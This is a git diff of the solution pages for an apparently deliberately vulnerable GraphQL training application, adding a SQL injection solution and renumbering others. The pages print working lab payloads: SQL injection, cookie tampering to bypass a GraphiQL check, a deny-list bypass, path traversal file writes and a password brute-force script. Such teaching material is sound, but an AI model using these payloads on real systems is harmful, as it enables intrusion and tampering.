-
-# Beginner mode
-
-# Cookie 'env' stores a string with an instruction to disable graphiql. altering the value to contain graphiql:enable will bypass the protection
-
-# Alter the env cookie to change "graphiql:disable" to "graphiql:enable" to bypass this check:
-requests.post('http://host/graphiql',
- json={"query":"query IntrospectionQuery{__schema {queryType { name } mutationType { name } subscriptionType { name }}}"},
- cookies={'env':'graphiql:enable'}
-)
-
-# Expert mode
-# GraphiQL interface is disabled.
+
Exploitation Solution
+
+
+# The filter parameter of the pastes operation allows escaping the SQL command and inject a SQL payload
+query {
+ pastes(filter:"aaa ' or 1=1--") {
+ content
+ title
+ }
+}
+
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_16.html b/templates/partials/solutions/solution_16.html
index a9d1c4d..9358fbb 100644
--- a/templates/partials/solutions/solution_16.html
+++ b/templates/partials/solutions/solution_16.html
@@ -1,52 +1,32 @@
-
GraphQL Query Deny List Bypass
+
Authorization Bypass :: GraphQL Interface Protection Bypass
Problem Statement
- Creating an allow-list or deny-list for GraphQL is a common technique to prevent malicious queries from
- being resolved by GraphQL.
-
-
- -
- By defining an allow-list, the application server will have a "known good" queries it will allow, and
- reject anything else.
-
- -
- By defining a deny-list, the application server will have a "known bad" queries it will reject, and allow
- anything else.
-
-
-
- In general, the allow-list approach is easier to maintain and less error-prone, since we only allow certain things we
- trust. It does not mean it cannot have flaws too.
-
-
- The application has a deny-list mechanism implemented that attempts to reject Health queries using the
- systemHealth
query.
-
-
- The problem with this mechanism is that it does not take into consideration queries can have operation names.
+ GraphiQL is available at the path /graphiql
with a poorly implemented authorization check.
Resources
-
Exploitation Solution
-
+
Exploitation Solution
+
-# Expert mode
+# Beginner mode
-# Query systemHealth directly by calling /graphql and supplying an arbitrary operation name.
+# Cookie 'env' stores a string with an instruction to disable graphiql. altering the value to contain graphiql:enable will bypass the protection
-requests.post('http://host/graphql', json={"query":"query BypassMe{systemHealth}"}, headers={'X-DVGA-MODE':'Expert'})
+# Alter the env cookie to change "graphiql:disable" to "graphiql:enable" to bypass this check:
+requests.post('http://host/graphiql',
+ json={"query":"query IntrospectionQuery{__schema {queryType { name } mutationType { name } subscriptionType { name }}}"},
+ cookies={'env':'graphiql:enable'}
+)
+
+# Expert mode
+# GraphiQL interface is disabled.
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_17.html b/templates/partials/solutions/solution_17.html
index ad5a7cf..a9d1c4d 100644
--- a/templates/partials/solutions/solution_17.html
+++ b/templates/partials/solutions/solution_17.html
@@ -1,29 +1,52 @@
-
Miscellaneous :: Arbitrary File Write // Path Traversal
+
GraphQL Query Deny List Bypass
Problem Statement
- The mutation uploadPaste
allows uploading pastes from the user's computer by specifying the file along
- with the filename. The pastes are then stored on the server under a dedicated folder. The filename
- argument allows any string, effectively providing the ability to write the file to any location on the server's
- filesystem by traversing folders using ../../
+ Creating an allow-list or deny-list for GraphQL is a common technique to prevent malicious queries from
+ being resolved by GraphQL.
+
+
+ -
+ By defining an allow-list, the application server will have a "known good" queries it will allow, and
+ reject anything else.
+
+ -
+ By defining a deny-list, the application server will have a "known bad" queries it will reject, and allow
+ anything else.
+
+
+
+ In general, the allow-list approach is easier to maintain and less error-prone, since we only allow certain things we
+ trust. It does not mean it cannot have flaws too.
+
+
+ The application has a deny-list mechanism implemented that attempts to reject Health queries using the
+ systemHealth
query.
+
+
+ The problem with this mechanism is that it does not take into consideration queries can have operation names.
Resources
-
Exploitation Solution
-
+
Exploitation Solution
+
-# Traverse the filesystem and place the file where you desire.
-mutation {
- uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){
- result
- }
-}
+# Expert mode
+
+# Query systemHealth directly by calling /graphql and supplying an arbitrary operation name.
+
+requests.post('http://host/graphql', json={"query":"query BypassMe{systemHealth}"}, headers={'X-DVGA-MODE':'Expert'})
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_18.html b/templates/partials/solutions/solution_18.html
index b44c929..ad5a7cf 100644
--- a/templates/partials/solutions/solution_18.html
+++ b/templates/partials/solutions/solution_18.html
@@ -1,37 +1,29 @@
-
Miscellaneous :: GraphQL Query Weak Password Protection
+
Miscellaneous :: Arbitrary File Write // Path Traversal
Problem Statement
- The query systemDiagnostics
is an administrative functionality that allows running a subset of system
- commands on the server. The query is governed by a username and password before processing the
- command.
+ The mutation uploadPaste
allows uploading pastes from the user's computer by specifying the file along
+ with the filename. The pastes are then stored on the server under a dedicated folder. The filename
+ argument allows any string, effectively providing the ability to write the file to any location on the server's
+ filesystem by traversing folders using ../../
-
- The password is weak, and the server has no rate limiting protections. This allows attackers to easily conduct brute
- force attacks against the server.
Resources
-
Exploitation Solution
-
+
Exploitation Solution
+
-# Brute Force attack with a list of passwords:
-passwordlist = ['admin123', 'pass123', 'adminadmin', '123']
-
-for password in passwordlist:
- resp = requests.post('http://host/graphql',
- json = {
- "query":"query {\n systemDiagnostics(username:\"admin\", password:\"{}\", cmd:\"ls\")\n}".format(password),
- "variables":None
- })
-
- if not 'errors' in resp.text:
- print('Password is', password)
+# Traverse the filesystem and place the file where you desire.
+mutation {
+ uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){
+ result
+ }
+}
\ No newline at end of file
diff --git a/templates/partials/solutions/solution_19.html b/templates/partials/solutions/solution_19.html
new file mode 100644
index 0000000..b44c929
--- /dev/null
+++ b/templates/partials/solutions/solution_19.html
@@ -0,0 +1,37 @@
+
+
Miscellaneous :: GraphQL Query Weak Password Protection
+
+
Problem Statement
+
+ The query systemDiagnostics
is an administrative functionality that allows running a subset of system
+ commands on the server. The query is governed by a username and password before processing the
+ command.
+
+
+ The password is weak, and the server has no rate limiting protections. This allows attackers to easily conduct brute
+ force attacks against the server.
+
Resources
+
+
Exploitation Solution
+
+
+# Brute Force attack with a list of passwords:
+passwordlist = ['admin123', 'pass123', 'adminadmin', '123']
+
+for password in passwordlist:
+ resp = requests.post('http://host/graphql',
+ json = {
+ "query":"query {\n systemDiagnostics(username:\"admin\", password:\"{}\", cmd:\"ls\")\n}".format(password),
+ "variables":None
+ })
+
+ if not 'errors' in resp.text:
+ print('Password is', password)
+
+
\ No newline at end of file
diff --git a/templates/solutions.html b/templates/solutions.html
index 92d9b85..5dff3c8 100644
--- a/templates/solutions.html
+++ b/templates/solutions.html
@@ -91,6 +91,9 @@
Challenge Solutions
HTML Injection
+
+ SQL Injection
+
diff --git a/version.py b/version.py
index f2d1eac..3e5f02a 100644
--- a/version.py
+++ b/version.py
@@ -1 +1 @@
-VERSION = '1.3.3'
+VERSION = '1.3.4'